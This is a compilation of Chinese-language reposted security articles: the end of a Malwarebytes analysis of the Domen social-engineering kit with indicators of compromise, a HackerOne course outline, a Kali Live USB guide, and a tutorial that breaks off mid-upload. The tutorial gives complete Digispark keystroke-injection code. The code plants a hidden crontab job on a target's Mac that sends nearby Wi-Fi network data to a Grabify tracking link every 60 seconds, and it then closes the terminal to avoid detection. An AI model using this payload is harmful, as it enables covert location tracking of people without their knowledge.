尽管 SocGholish 和新攻击的模板不同，但是它们两者都：

- 可以在相同的受感染主机上找到
- 滥用云托管平台（Bitbucket，Dropbox）
- 将虚假更新下载为 “download.hta”
- 交付 NetSupport RAT

旁注：公开保存的 VirusTotal 图（此处保存的屏幕截图）显示，威胁执行者在某些时候还使用了 DropBox 来托管 netSupport RAT。他们对文件进行了两次压缩，首先压缩为 zip，然后压缩为 rar。

与 SocGholish 的相似之处可能仅仅是由于威胁参与者从之前所做的事中得到了启发。但是，两个模板都传递相同的RAT的事实值得一提。

与恶意软件 EITest 相关

大约在审查此新的重定向链的同时，malwarebytes 看到了 @tkanalyst 标记为 FontPack 的另一条链，这让人想起了 Proofpoint 在2017年初报告的 HoeflerText 社交工程工具包。

「图」

「图」

New ‘FontPack’ soc. engineering schem

回到之前收集的流量捕获，malwarebytes 注意到包含 JavaScript 模板（template.js）和面板（.xyz 域）的相同基础结构：

「图」

「图」

Web traffic reveals same artifacts used in fake Flash Player theme

仔细查看 template.js 文件，确认它们实际上是相同的，只是不同的有效载荷 URL 和一些唯一的标识：

「图」

「图」

Template.js is the social engineering framework

Domen 社交工程工具包

template.js 文件是一件精美的工作，它超出了假字体或 Flash Player 主题的范围。当最初在 FontPack 标签下检测到此重定向代码段时，决定基于代码中找到的字符串将此社交工程框架称为 Domen。

单个 JavaScript 文件根据浏览器、操作系统和语言环境控制各种模板。例如，同一条伪造的报错消息被翻译成30种不同的语言。

「图」

「图」

Customized templates based on operating system's language

一个称为 "banner" 的特定变量设置了社交工程主题的类型：*var banner = '2';* 1—Browser Update | 2—Font | 3—Flash 「图」 「图」 *Customized templates based on operator's choice malwarebytes* 已经记录了一个 *Flash Player*，同时还观察到了 *Font*（*HoeflexText* 模仿者）及其一些变体（*Chrome*、*Firefox*）。这是第三个，是浏览器更新。 *!!!*浏览器更新 「图」 「图」 *Internet Explorer template* 「图」 「图」 *Chrome template* 「图」 「图」 *Firefox template* 「图」 「图」 *Edge template* 「图」 「图」 *Other browsers' template* 还有一个用于移动设备的模板（该模板又被翻译成*30*种语言），指示用户如何下载和运行（可能是恶意的）*APK*： 「图」 「图」 *Instructions on how to install APK files for Android users !!!*范围和统计 该攻击的范围尚不清楚，但在去年*9*月左右一直相当活跃。每次用户访问已注入 *Domen* 工具包的受感染站点时，都会与位于 *asasasqwqq [.] xyz* 上的远程服务器进行通信： 「图」 「图」 *Connection to panel seen in template.js script* 该页面将创建一个*GET*请求，该请求返回一个数字： 「图」 「图」 *Network traffic showing number of visits* 如果相信这些数字（随后的访问将其增加*1*），则表示该特定攻击在过去几周内获得了*100,000*多次成功。 随着时间的流逝，已经看到了许多不同的社交工程攻击形式。在大多数情况下，它们是根据用户的地理位置和浏览器/操作系统类型动态提供的。 例如，这在技术支持诈骗页面

（*browlocks*）中很常见，在该页面中服务器将为每个受害者返回适当的模板。 *Domen* 工具包之所以与众不同，是因为它提供了相同的指纹（浏览器、语言）和模板选择，这要归功于客户端（*template.js*）脚本，每个威胁参与者都可以对其进行调整。 此外，定制的广泛性令人印象深刻，因为它涵盖了大约*30*种不同语言的一系列浏览器、台式机和移动设备。 *!!!*防御方法 借助反漏洞保护功能，*Malwarebytes* 用户已经受到保护，可以阻止 *.hta* 攻击，甚至无法检索其有效载荷。 「图」「图」 ***Domen social engineering kit host*** *chrom-update[.]online* ***Malicious .HTA*** *bitbucket[.]org/execuseme1/1312/downloads/download.hta* ***NetSupport loader*** *xyxyxyxyxy[.]xyz/wwwwqwe/11223344.exe mnmnmnmnmnmn[.]club/qweeewwqe/112233.exe* ***Panels*** *asasasqwqq[.]xyz sygicstyle[.]xyz drumbaseuk[.]com* ***NetSupport RAT*** *9c69a1d81133bc9d87f28856245fbd95bd0853a3cfd92dc3ed485b395e5f1ba0*
58585d7b8d0563611664dccf79564ec1028af6abb8867526acaca714e1f8757d
b832dc81727832893d286decf50571cc740e8aead34badfdf1b05183d2127957
New social engineering toolkit draws inspiration from previous web campaigns 原文

22个黑客速成课视频及资源 - iyouport

hacktivist

【2020年5月20日存档】从初学者到中级的视频学习资料

HackerOne 是一个非常受欢迎的bug赏金平台，它们提供了一些该领域新手感兴趣的东西。

本文收集它们提供的一系列视频和资源，旨在培养从初学者到中级黑客的基本技能。您可以在线观看。

以下是一个视频列表。

1、介绍

包括：

- 所需工具
- 像破坏者一样思考
- 攻击者—防御者失衡
- 轻量级威胁评估和优先级排序
- 如何编写好的bug报告
- 反射的跨站点脚本（XSS）攻击

2、The Web In Depth

包括：

- HTTP基础知识
- Cookie安全
- HTML解析
- MIME嗅探
- Encoding嗅探
- 同源政策
- CSRF（跨站请求伪造）

3、XSS & Authorization

包括：

- XSS（跨站脚本攻击）
- XSS的类型
- 发现、开发、缓解
- 授权绕过和强制浏览

4、SQL注入

包括：

- SQLi（SQL注入）
- 它是如何运作的
- 基本开发
- 缓解方式
- 盲SQL
- 盲SQL类型
- Exploiting blind
- 目录遍历
- 利用
- 缓解
- 命令注入
- Real-world scenario

5、会话固定攻击

包括：

- 这是什么
- 如何利用
- 如何缓解

6、点击劫持

包括：

- 这是什么
- 如何起效
- 如何防御

7、文件包含bugs

包括：

- LFI（本地文件包含）
- RFI（远程文件包含）
- 如何发现
- 如何利用
- 如何缓解

8、文件上传 bugs

包括：

- 工作原理
- 基于文件名的攻击
- MIME类型攻击
- 隐藏PNG文件中的数据
- 缓解

9、空终止错误

包括：

- 这是什么
- 为什么它们与网络安全相关
- 如何测试空终止错误
- 如何利用这些bugs

10、未经检查的重定向

包括：

- 发现
- 利用
- 缓解

11、密码存储

包括：

- 使用 Bcrypt（或 Scrypt）

- 密码安全的目标
- 永远不要使用 bare hash（例如MD5，SHA1）
- 如果您不能使用它们，请使用PBKDF2然后放慢速度

12、加密速成课

包括：

- XOR及其对密码学的重要性
- 一次性密钥
- 密码的类型
- 分组密码模式
- ECB (Electronic Codebook)
- CBC (Cipher Block Chaining)
- Hashes
- MAC（消息认证码）

13、加密攻击

包括：

- 流密码密钥重用
- ECB 块重新排序
- ECB 解密
- 填充Oracle攻击
- 哈希长度扩展攻击

13、**Wrap-up**

包括：

- ECB模式
- 一般建议
- Cryptopals 挑战将带您进入一个新的水平

14、威胁建模

包括：

- “重量级”威胁建模
- 为什么它不适合bug赏金猎人
- 轻量级威胁建模

- 为什么它简单有效

15、如何写好报告

包括：

- 写好报告的重要性
- 好报告的关键特征
- 确定漏洞的影响

16、安全架构评审

包括：

- 基本结构
- 几个关键部分

17、服务器端请求伪造

包括：

- 文件访问
- 绕过防火墙
- 端口扫描
- 如何缓解

18、**XML**外部实体攻击

包括：

- 工作原理
- 如何攻击
- 对现实世界的影响

19、移动 **Hacking** 速成课

包括：

- 为什么学习破解移动应用程序是值得的
- 流行的混合应用程序框架怪癖
- 如何选择目标
- 标准的 web bugs

- 凭证存储bugs
- 不安全的连接
- 不安全的数据存储
- 加密不足
- ……

20、Android快速入门

包括：

- Android应用程序的结构
- 各种工具
- 设置代理
- Rooting
- 反编译
- 测试技巧

21、iOS快速入门

包括：

- iOS应用程序的结构
- 测试iOS与Android的差异
- 各种工具
- 设置代理
- Jailbreaking
- 各种测试技巧

22、本地代码速成课，及各种资源

Assembly

- x86 Guide
- x86 Instruction Encoding References
- ARM Guide
- x86–64 Cheat Sheet
- Kernel Resources
- Memory Management
- CPU Cache
- Shared Library Loading Process
- Binary File Formats

- ELF
- PE
- Mach-O
- Becoming a Full-Stack Reverse-Engineer

Tools

- Debuggers
- GDB
- LLDB
- WinDbg
- OllyDbg
- Disassemblers/Decompilers
- IDA Pro
- Hopper
- Binary Ninja
- Ghidra
- Hex Editors
- 0xED
- HxD
- Assemblers
- Online Assembler and Disassembler
- GNU Assembler
- Netwide Assembler (nasm)
- ROP Gadget Hunters
- ROPgadget
- Ropper
- Emulators
- QEMU
- Unicorn
- Fuzzers
- afl
- libFuzzer
- Instrumentation
- Valgrind
- Pin
- Executable Lifters
- McSema

Bugs

- Buffer Overflows
- Smashing The Stack For Fun And Profit
- Out of Bounds Writes
- Analyzing and Reproducing the EOS Out-of-Bound Write Vulnerability in nodeos
- Use After Free
- An Introduction to Use After Free Vulnerabilities
- What do Nintendo Switch and iOS 9.3 have in common? CVE-2016–4657 walk-through
- Speculative Execution Bugs
- Meltdown and Spectre, explained

Protections

- Canaries
- NX bit
- W^X
- How do ASLR and DEP work?
- Pointer Authentication on ARMv8.3

Bypassing Protections

- The info leak era on software exploitation
- return-into-lib(c)
- Introduction to return oriented programming (ROP)
- Jump-Oriented Programming: A New Class of Code-Reuse Attacks
- Examining Pointer Authentication on the iPhone XS

JavaScript Engine Exploitation Resources

- Attacking JavaScript Engines
- Heap Feng Shui in JavaScript
- JIT spraying and mitigations
- SoK: Make JIT-Spray Great Again

Reports

- Controlled address leak due to type confusion—ASLR bypass ($100 bounty)
- Adobe Flash Player Out-of-Bound Read/Write Vulnerability

($5000 bounty)
- RCE on Steam Client via buffer overflow in Server Info ($18000 bounty)
- heap-buffer-overflow in S_pack_rec ($1000 bounty)
- Nintendo Switch nvservices Info Leak
- Buffer overflow in HTTP parse_hostinfo(), parse_userinfo() and parse_scheme() ($1000 bounty)
- Use After Free in Flash MessageChannel.send can cause arbitrary code execution ($7500 bounty)
- Virtually Unlimited Memory: Escaping the Chrome Sandbox
- Splitting atoms in XNU
- voucher_swap: Exploiting MIG reference counting in iOS 12
- Technical Analysis of the Pegasus Exploits on iOS

原文

如何将Kali Linux安装为USB硬盘，以便在任何计算机上进行渗透测试和黑客攻击 - iyouport

hacktivist

便携的更方便

Kali Linux 是渗透测试和道德黑客的首选 Linux 发行版。但是，它不被推荐日常使用，如回复电子邮件、玩游戏或查看Facebook等。这就是为什么最好从USB驱动器运行您的 Kali Linux 系统。

这个对黑客友好的基于Debian的发行版确实在2019年底进行了重大更新，将默认的桌面环境从重量级的 Gnome 改为了更轻量级的 Xfce，使Kali整体上更加敏捷和易响应。但仍然不能推荐它作为您的日常系统，除非您一天24小时一周7天只做黑客。

如果您有一台专门的机器，在双启动的情况下使用Kali是个不错的选择，但如果想更便携一些，U盘上的版本才是您想要的东西。如果您有一台闲置的电脑，而您只打算用来做白帽工作，那么是的，通过各种手段，把Kali安装成主系统，这样您就可以充分利用电脑的硬件。

您需要什么

「图」

您需要一个USB闪存驱动器。可以用一个小到4GB的U盘做基础，或者8GB的U盘，如果您想坚持的话，但一个更大的U盘可能会很方便，特别是如果您想保存数据的话。

- Centon DataStick Pro 8 GB USB 3.0 (5-PK)—Up to 80 MB/s ($24.99)
- SanDisk Ultra Fit 16 GB USB 3.1—Up to 130 MB/s ($6.32)
- Samsung FIT Plus 32 GB USB 3.1—Up to 200 MB/s ($9.93)
- Samsung FIT Plus 64 GB USB 3.1—Up to 300 MB/s ($12.49)

- Samsung FIT Plus 128 GB USB 3.1—Up to 400 MB/s ($22.99)
- Samsung FIT Plus 256 GB USB 3.1—Up to 400 MB/s ($41.99)

您还需要 Kali Live ISO 文件和一个镜像程序，例如 Etcher 或 Rufus，下面将进行概述。

步骤1: 下载正确的 Kali Linux 版本

「图」

虽然有许多不同类型的 Kali Linux 镜像，但这里需要的是 “Live” 下载。您可以选择AMD的64位（适用于英特尔芯片），ARM64的64位（如较新的Mac中的M1芯片），以及i386的32位（您可能永远不会使用，因为它太过时了）。

访问 kali.org/downloads 并下载相应的Live镜像。由于这里使用的是M1 Mac，所以将使用ARM64的64位版本。无论您选择哪一个，您将只能使用Xfce桌面环境，而且不能指定额外的（元）数据包来安装。

步骤2: 安装一个USB格式化工具

「图」

在Linux和macOS电脑上，您可以使用dd命令将 Kali Live 镜像复制到USB驱动器上，但总是有选错驱动器的风险，并且由于覆盖了一个重要的驱动器而陷入困境。正因为如此，建议使用USB格式化工具。如果您在Windows上，Rufus是一个很好的工具，但Etcher适用于Linux、macOS 和 Windows，下面将使用Etcher。

前往 balena.io/etcher，点击 “下载” 按钮，它应该能检测出您在哪个系统上，并给您正确的版本。如果没有，点击旁边的下拉按钮，选择您的操作系统。下载后，像安装其他应用程序一样安装它。例如，在macOS上，打开DMG，将 balenaEtcher 拖到您的应用程序文件夹。

步骤3：保存 Kali Live 镜像

「图」

打开Etcher，然后点击 “选择镜像”。您可能会看到 “从文件中闪存”

和 “从URL中闪存” 的选项，请选择 “从文件中闪存” 。

导航到您在步骤1中下载的Kali镜像，并选择它。然后，您需要点击 “选择目标” 来选择您的U盘。通过查看驱动器名称和可用空间，反复检查您是否选择了正确的驱动器。

现在剩下要做的就是单击 “ Flash！”。这将重新格式化您的闪存驱动器，以便所有内容都将被 Kali Live 镜像删除并覆盖。

您可能会被要求输入密码。然后，Etcher 会显示一个进度条，表明还剩多少时间。当它完成时，您会看到一个 “Flash Complete” 的消息。

步骤4: 从 Kali Live USB 启动

「图」

现在是时候启动新的 Kali Live USB 了，但这个过程会根据电脑品牌、操作系统和处理器的不同而不同。在上面的 Cyber Weapons Lab 视频中，Nick展示了在 Linux 机器上启动华硕UEFI BIOS Utility 时发生的情况，如果您想让 Kali Live 在不选择它的情况下启动，就要改变启动顺序。

在macOS上，这就容易多了。如果您有苹果M1芯片，只需关闭Mac的电源，然后打开它，按住电源按钮，直到您看到启动窗口。在基于英特尔的Mac上，在开机或重启电脑后立即按Option键，直到看到启动窗口。然后，只需选择 Kali Live 闪存驱动器来启动。

要想知道如何进入BIOS和改变启动设置，和/或加载启动菜单，请为您的电脑型号和操作系统搜索 “从USB驱动器启动” 并找到相应的说明。这里有太多的说明了，网上有很多关于从外部磁盘启动的手册。

步骤5: 选择您想启动Kali的方式

「图」

一旦您启动了 Kali Live USB，您应该看到几个不同的选项来选择您想加载的Kali的版本。它们可能包括：

Live系统：这将启动 Kali Live。在这种模式下，您不能保存任何更改。没有报告，没有日志，没有其他数据—— 这些变化都不会被保存。这样，您每次启动 Kali Live 时，都是以一个全新的 Kali Live 开

始。数据只保存在RAM中。

Live系统（故障安全模式）：与Live系统相同，但在系统发生故障时是一个更强大的版本。这样一来，失败的系统就不会毁掉您的闪存盘。如果您需要对有问题的电脑进行故障排除，这是一个不错的选择。

Live系统（取证模式）：与Live系统相同，带有取证友好工具，这样您就可以在主机上恢复文件，收集证据，并执行其他取证任务。内部硬盘永远不会被触动，外部设备和媒体也不会自动挂载，这样您就可以完全控制您可以连接到什么。

Live系统（持久性）：与Live系统相同，只有变化会被保存，它将允许您检查主系统而不用担心正在运行的或锁定的进程。

Live系统（加密的持久性）：只是用LUKS加密，所以其他人更难访问您的数据。

Start installer：这可以让您启动安装程序，将Kali安装在一个内部驱动器上。

高级选项：包括诸如 MemTest、Hardware Detection 等选项。

要在不保存任何修改的情况下启动它，只需选择 “Live系统” 选项，这将使您作为非root用户直接进入新的Xfce桌面环境。然而，如果您想保存您的修改，请使用 “Live系统（持久性）” 或 “Live系统（加密持久性）”启动。

步骤6：在Kali Live上设置持久性

「图」

选择其中一个持久性选项并不意味着它可以开箱即用。首先要进行一些配置，主要是创建一个新的分区来保存您的所有数据。Kali有一些关于这样做的出色说明。

要在 Kali Live 分区之上创建一个分区，以7GB为终点，在终端窗口中以kali用户身份发出以下三个命令，这将在7GB的分区中保留Live选项，腾出其余的分区用于存储数据。请确保您是在刚刚启动的Kali Live系统中做这个动作。

```
~$ end=7GiB ~$ read start _ 「 「(du -bcm kali-
```

```
linux-2021.1-live-arm64.iso | tail -1); echo
$start ~$ parted /dev/sdb mkpart primary ${start}
MiB $end
```

完成后，您现在应该有一个标有 /dev/sdb3 或 /dev/disk1s3 这样的第三分区。检查您的卷标识符，因为在这个过程的其余部分您将需要它。

如果您想增加一些加密，以防有人可能拿到您的硬盘，以 kali 的身份发出以下两个命令。如果被提示要继续覆盖新的分区，就用大写字母输入 “YES”。当被要求输入口令时，选择一个口令并输入两次。如果您不想要加密，可以跳过它。

```
~$ cryptsetup --verbose --verify-passphrase
luksFormat /dev/sdb3 ~$ cryptsetup luksOpen /dev/
sdb3 my_usb
```

接下来，以 kali 身份运行以下两个命令来创建一个标记为 “persistence” 的ext3文件系统。如果您选择跳过加密，请使用以下命令：

```
~$ mkfs.ext3 -L persistence /dev/sdb3 ~$ e2label /
dev/sdb3 persistence
```

如果您要加密，请使用：

```
~$ mkfs.ext3 -L persistence /dev/mapper/my_usb ~$
e2label /dev/mapper/my_usb persistence
```

接下来，创建一个挂载点，将新的分区挂载到那里，创建一个配置文件以启用持久性，然后卸载该分区。如果您没有对分区进行加密，请使用：

```
~$ mkdir -p /mnt/my_usb ~$ mount /dev/sdb3 /mnt/
my_usb ~$ echo "/ union" 」 /mnt/my_usb/
persistence.conf ~$ umount /dev/sdb3
```

如果您加密了分区，请使用：

```
~$ mkdir -p /mnt/my_usb/ ~$ mount /dev/mapper/
my_usb /mnt/my_usb ~$ echo "/ union" 」 /mnt/
my_usb/persistence.conf ~$ umount /dev/mapper/
```

```
my_usb
```

如果您没有加密这个分区，到这里就完成了。如果您加密了，还有一个命令需要以kali的身份发布，这将关闭这个新分区的加密通道：

```
~$ cryptsetup luksClose /dev/mapper/my_usb
```

现在，重新启动到 Kali Live 并选择适当的系统，一切都应该准备好了。

第7步：为root用户添加一个密码

「图」

在新版本的Kali中，您默认是一个非root用户，但您可以通过使用以下方式以普通用户的身份发布root命令：

```
~$ sudo su
```

Kali Live 可能不会给root用户附加一个密码，所以如果您不想让其他人进入您的系统捣乱，您就必须创建一个。使用具有root权限的passwd root 来做到这一点。输入您选择的密码，然后验证它：

```
~# passwd root New password: Retype new password:
passwd: password updated successfully
```

探索您的新 Kali Live 系统

「图」

现在剩下的就是使用Kali了。您可以查看上面的视频，了解您可以配置什么，以及这里关于安装 Kali 作为您的主系统的指南，其中介绍了很多要安装和调整的工具和设置。〇

Install Kali Linux as a Portable Live USB for Pen-Testing & Hacking on Any Computer

原文

如何打败VPN并远程跟踪MacOS计算机 - iYouPort

hacktivist

提醒安全意识

「图」

「图」

null-byte 介绍了一款工具 Digispark，这是一款低成本USB开发板，可在 Arduino 中进行编程，并能够冒充键盘，从而使其能够交付大量有效载荷。

仅需花费几美元，您就可以使用 Digispark 向目标MacOS计算机提供有效载荷，每60秒跟踪一次，甚至绕过VPN这样的安全性。

对macOS计算机进行低成本攻击的技巧是使用系统上已安装的工具。

本案例将利用一些不需要密码即可执行的命令，这些命令可以强制目标每60秒向跟踪服务器检入一次。

Arduino的黑客

本案例将要使用的有效载荷会利用macOS内置的工具把跟踪信息发送到远程服务器，从而使攻击者能够查看所被跟踪计算机的IP地址和位置。

可能的方式是双重的。 一：我们能够对 Digispark 进行编程，使其不仅像键盘一样工作，而且像苹果品牌的键盘一样工作。这意味着在插入Digispark时，不会弹出任何错误消息。 Mac只是认为这是普通的Apple键盘。

二：插入后它就会迅速将我们指定的任何有效载荷输入到目标电脑中。通过正确的按键组合，可以快速启动终端窗口，收集信息、了解

用户的位置。

在脚本的原始版本中，仅向一个跟踪URL发送了CURL请求。这将使我们能够了解正在跟踪的设备的当前IP地址，但如果目标使用VPN，那将被证明是无用的。

如果目标确实使用了VPN，我们只会知道VPN的IP地址，用户的真实位置继续被隐藏。

通过Wi-Fi网络进行抓取和跟踪

为了使跟踪更上一层楼，我们将把先前攻击的几个元素结合在一起。首先，使用一个CURL请求 **-referrer** 将数据从macOS计算机传递到跟踪服务器。

在此变量中将放置目标计算机附近的Wi-Fi网络。

借助 Google Maps 和 Wigle Wifi 等服务，可为大多数Wi-Fi网络的位置编制索引，因此可以轻松地查找用户所在的位置。

```
/System/Library/PrivateFrameworks/
Apple80211.framework/Versions/Current/Resources/
airport -s SSID BSSID RSSI CHANNEL HT CC SECURITY
(auth/unicast/group) MySpectrumWiFia8-2G
b0:98:2b:4e:62:ae -73 1 Y -- WPA2(PSK/AES/AES)
MySpectrumWiFi28-2G 84:a0:6e:c2:0a:2e -74 1 Y --
WPA2(PSK/AES/AES) Envy 40:70:09:74:48:b0 -67 6 Y
US WPA2(PSK/AES/AES) ATT5ww86a2 10:05:b1:5d:0c:40
-75 11 Y -- WPA2(PSK/AES/AES) SMQ2.4
c0:56:27:c8:c0:96 -74 10 Y -- WPA2(PSK/AES/AES)
CableWiFi c4:01:7c:13:1c:c8 -56 11 Y US NONE Red
Polish-5G 60:19:71:f1:a3:25 -87 36,+1 Y US
WPA2(PSK/AES/AES) Vog Hair Salon-2
ac:b3:13:07:42:75 -77 44,+1 Y US WPA2(PSK/AES/AES)
claire-2g b0:6e:bf:db:c1:b8 -70 1 Y US WPA2(PSK/
AES/AES) NETGEAR57 50:6a:03:aa:07:d6 -88 6 Y US
WPA2(PSK/AES/AES) SMQ 2.4 00:ac:e0:91:65:80 -78 6
Y US WPA2(PSK/AES/AES) Gryffindor
ac:b3:13:7a:4a:90 -79 6 Y US WPA2(PSK/AES/AES)
GoGo Foot 10:05:b1:32:bb:30 -62 11 Y -- WPA2(PSK/
AES/AES)
```

无法通过引荐来源网址传递太多行，因此我们将其压缩为一行，并删除所有可能会导致混乱的字符。

```
/System/Library/PrivateFrameworks/
Apple80211.framework/Versions/Current/Resources/
airport -s | sed 1d | xargs | tr -d ' ' | tr -d
'_'
MySpectrumWiFia82Gb0:98:2b:4e:62:ae731YWPA2(PSK/
AES/
AES)MySpectrumWiFi282G84:a0:6e:c2:0a:2e741YWPA2(PSK/
AES/AES)Envy40:70:09:74:48:b0676YUSWPA2(PSK/AES/
AES)ATT5ww86a210:05:b1:5d:0c:407511YWPA2(PSK/AES/
AES)SMQ2.4c0:56:27:c8:c0:967410YWPA2(PSK/AES/
AES)CableWiFic4:01:7c:13:1c:c85611YUSNONERedPolish5G60:1
+1YUSWPA2(PSK/AES/
AES)VogHairSalon2ac:b3:13:07:42:757744,
+1YUSWPA2(PSK/AES/
AES)SOYOUNGBEAUTY5G06:ea:c9:77:83:0365132YUSWPA2(PSK/
AES/
AES)SpectrumWiFic4:01:7c:93:1c:cc72116YUSNONESpectrumWiF
```

现在，可以使用以下有效负载将此非常长的字符串通过CURL请求传递。

```
~# curl --silent --output /dev/null --referer '$(/
System/Library/PrivateFrameworks/
Apple80211.framework/Versions/Current/Resources/
airport -s | sed 1d | xargs | tr -d ' ' | tr -d
'-')' https://grabify.link/LINK
```

它扫描附近的网络，将它们压缩成一个没有空格或破折号的字符串，然后将其发送到 Grabify 跟踪链接。

对于攻击者而言，请求的结果是当前IP地址以及被监视计算机附近的Wi-Fi网络。为了达到良好的效果，我们还添加了**—silent—output /dev/null** 部分，以放弃对CURL请求的响应，并避免提醒用户。

制作好有效载荷的核心之后，需要确定我们要多久追踪一次目标macOS 计算机。

您需要什么

您将需要一台macOS目标计算机和一个 Arduino 兼容的 Digispark USB 开发板克隆（AliExpress 有一些便宜的可选）。

免费的，跨平台的 Arduino IDE 将使您能够快速构建所需的东西，因此请确保已在计算机上安装了它。Arduino集成开发环境使您能够快速编写脚本并将脚本上传到类似 Arduino 的微控制器设备。

您还需要一个浏览器来设置 Grabify URL 管理跟踪。创建 Grabify 链接是免费的，它允许您跟踪连接到其创建的URL的任何设备。

步骤1：设置 Grabify link 进行跟踪

首先，您可以转到 Grabify 来创建您的跟踪URL，放入您要将目标重定向到的链接，然后单击“创建URL”。

「图」

「图」

这将创建您的跟踪URL，它会在您将被自动重定向到的跟踪页面的“new URL” 字段下列出。

「图」

「图」

通过提供的链接，您可以观看跟踪结果。为了测试跟踪链接是否正常工作，我们将在VPN下发送一个CURL请求。确保添加您的链接。

```
curl https://grabify.link/YOURLINK 「!DOCTYPE html」 「html」 「head」 「meta charset="UTF-8" /」 「meta http-equiv="refresh" content="0;url=https://youtu.be/EaQYFBykJMA" /」 「title」Redirecting to https://youtu.be/EaQYFBykJMA「/title」 「/head」 「body」 Redirecting to 「a href="https://youtu.be/EaQYFBykJMA"」 https://youtu.be/EaQYFBykJMA「/a」. 「/body」
```

现在，当你进入跟踪页面时，应该看到一个结果。

「图」

「图」

即使已经取得了积极的成果，但这个结果依旧是来自我们的VPN，它认为我们在澳大利亚。看看是否可以使用Wi-Fi有效载荷破坏VPN。

步骤2：在 Arduino IDE 中安装 Digispark

在为 Digispark 开发板编写代码之前需要配置 Arduino IDE 识别开发板。为此，请打开 Arduino IDE 并进入应用程序的 “首选项”。

在“设置”选项卡中，查找显示 “其他板管理器URL” 的字段，然后粘贴以下URL。

```
http://digistump.com/package_digistump_index.json
```

如果需要更多空间，可以单击该字段旁边的按钮以打开一个添加更多URL的窗口。单击 “确定” 将其添加。

「图」

「图」

在“工具”下，单击“Board”，然后单击“板管理器”以显示已安装板的列表。

需要安装的板库是 “Digistump AVR板” 软件包。只需搜索 “digispark” 即可找到它，然后单击包旁边的 “安装” 以将其添加到 Arduino 安装中。

「图」

「图」

现在，您可以从 “Boards” 下拉菜单中选择 Digispark。选择第一个选项 “ Digispark（Default-16.5mhz）” 作为我们正在使用的板。

「图」

「图」

完成后应该能够写入 Digispark 板。它的工作方式与常规 Arduino 略有不同。

步骤3：在 Arduino 中编写有效载荷

首先，调用 “DigiKeyboard.h” 库，并开始 Arduino 草图的两个部分，即设置和循环功能。

在循环功能中将执行 DigiKeyboard 命令，开始于 **DigiKeyboard.sendKeyStroke(0);** 这就解决了 DigiSpark 有时会卡住的问题。

```
#include "DigiKeyboard.h" void setup() {} void
loop() { DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
```

设置 Digispark 进行输出后，就可以开始输入有效载荷的第一部分了。首先需要获取 Spotlight 搜索菜单以在目标的 macOS 屏幕上弹出才能使我们进入终端窗口。

通过编程将 Space 和 Command 键一起按下打开终端窗口，然后在出现文本字段时键入 “ terminal”。最后按 Enter 键从建议列表中选择并启动 Terminal。这些步骤的代码如下所示。

```
DigiKeyboard.sendKeyStroke(KEY_SPACE,
MOD_GUI_LEFT); DigiKeyboard.delay(600);
DigiKeyboard.print("terminal");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
```

终端窗口打开五秒钟后使用 **crontab -e** 命令安排每60秒在后台执行一次任务。

为了使事情更简单，我们还指定了要使用文本编辑器 “nano” 用 **export VISUAL＝nano** 。在目标计算机上按 Enter 后，应打开一个 Nano 窗口，用于向 crontab 添加命令。

```
DigiKeyboard.delay(5000);
DigiKeyboard.print("export VISUAL=nano; crontab -
e"); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
```

在打开的nano文本编辑器中对 Arduino 进行编程，以在五个星号之

后粘贴我们编写的有效载荷。五个星号表示这些命令应每60秒执行一次。

还需要确保用反斜杠转义引号，例如 \’, 以避免 Arduino 将其解释为字符串的结尾。结果将如下所示。

```
DigiKeyboard.print("* * * * * curl --silent --
output /dev/null --referer \'$(/System/Library/
PrivateFrameworks/Apple80211.framework/Versions/
Current/Resources/airport -s | sed 1d | xargs | tr
-d ' ' | tr -d '-')\' https://grabify.link/
YOURLINK");
```

现在已经插入了有效载荷，我们需要保存它。在nano中，可以通过同时按 Control-X，然后按 Y 和 Enter 来保存文件以执行此操作。它将保存有效载荷并退出 nano 到终端窗口。代码看起来像这样：

```
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X,
MOD_CONTROL_LEFT); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
```

最后，我们需要关闭所有内容，以使我们所做的事情不明显。为此将等待所有后台进程完成，然后杀死当前正在运行的进程的父进程。

```
DigiKeyboard.print("wait &amp;&amp; kill -9 $(ps -
p $PPID -o ppid=)"); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
```

将所有内容放在一起，完整的脚本应类似于下面这样。

```
/* Digispark VPN buster to send the IP address and
BSSID/SSID of nearby Wi-Fi networks on a MacOS
computer to a Grabify tracker every 60 seconds. */
#include "DigiKeyboard.h" void setup() {} void
loop() { DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_SPACE,
```

```
MOD_GUI_LEFT); DigiKeyboard.delay(600);
DigiKeyboard.print("terminal");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("export VISUAL=nano; crontab -
e"); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("* * * * * curl --silent --
output /dev/null --referer \"$(/System/Library/
PrivateFrameworks/Apple80211.framework/Versions/
Current/Resources/airport -s | sed 1d | xargs | tr
-d ' ' | tr -d '-')\" https://grabify.link/
YOURLINK"); DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X,
MOD_CONTROL_LEFT); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500); DigiKeyboard.print("wait
&amp;&amp; kill -9 $(ps -p $PPID -o ppid=)");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /
*empty*/ }}
```

步骤4：刷入该有效载荷

当您准备刷 Digispark 时，请确保先拔掉它的电源。单击 Arduino 窗口左上方的箭头，代码将编译。在底部的窗口中，Arduino 将指示您在60秒内插入 Digispark。

```
Running Digispark Uploader... Plug in device
now... (will timeout in 60 seconds) 」 Please plug
in the device ... 」 Press CTRL+C to terminate the
program.
```

继续并插入，代码将上传。如果看到如下所示的输出，则说明已完成，完成后将其拔出，因为有效载荷将在五秒钟后执行。

```
」 Device is found! connecting: 16% complete
